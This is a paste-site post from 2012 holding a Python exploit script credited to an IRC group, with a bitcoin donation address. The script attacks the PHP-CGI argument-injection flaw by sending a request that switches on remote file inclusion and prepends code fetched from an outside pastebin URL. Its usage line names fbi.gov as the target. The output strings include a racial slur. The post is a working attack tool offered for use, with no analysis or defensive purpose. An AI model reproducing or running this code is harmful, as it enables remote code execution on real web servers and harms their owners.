Advertising
- Someone
- Thursday, May 10th, 2012 at 10:26:26pm MDT
- ###########################################################################
- # irc.voxanon.net #malsec #
- # _| _| _| #
- # _|_|_|_|_| _|_|_| _|_| _|_|_| _| _|_|_| _|_| _|_|_| #
- # _| _| _| _| _| _| _| _| _|_| _|_|_|_| _| #
- # _|_|_|_|_| _| _| _| _| _| _| _|_| _| _| #
- # _| _| _| _| _| _|_|_| _| _|_|_| _|_|_| _|_|_| #
- # Malicious Security BitCoin: 19JQAd2MvqgQsj8uGefg9XW9uGnUpUYpDG #
- ###########################################################################
- #################################################
- # usage: galaxy.py fbi.gov cgi-bin/vuln.php 80 #
- #################################################
- import socket
- import sys
- import urllib
- def pwn(host, page, port):
- payload = 'http://pastebin.ca/raw/2144967'
- sploit = 'POST /' + page + '?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D' + payload + 'Host: ' + host + '\r\n'
- sploit += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
- try:
- print '[~] PHP CGI Exploit by Galaxy 2.0 [~]'
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- print '[+] Targ3t1ng: ' + host + ' [+]'
- sock.send(sploit)
- data = sock.recv(1024)
- print str(data)
- print '[+] 0wn1ng that sh1t n1gga [+]'
- sock.close()
- except socket.error, msg:
- sys.stderr.write("[-] sh1t fuck3d up k1d: %s\n[-]" % msg[1])
- sys.exit(1)
- if __name__ == '__main__':
- try:
- host = sys.argv[1]
- page = sys.argv[2]
- port = int(sys.argv[3])
- pwn(host, page, port)
- except IndexError:
- print '[!] Usag3: galaxy.py (host) (page) (port) [!]'
- sys.exit(-1)
advertising
Update the Post
Either update this post and resubmit it with changes, or make a new post.
You may also comment on this post.
Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.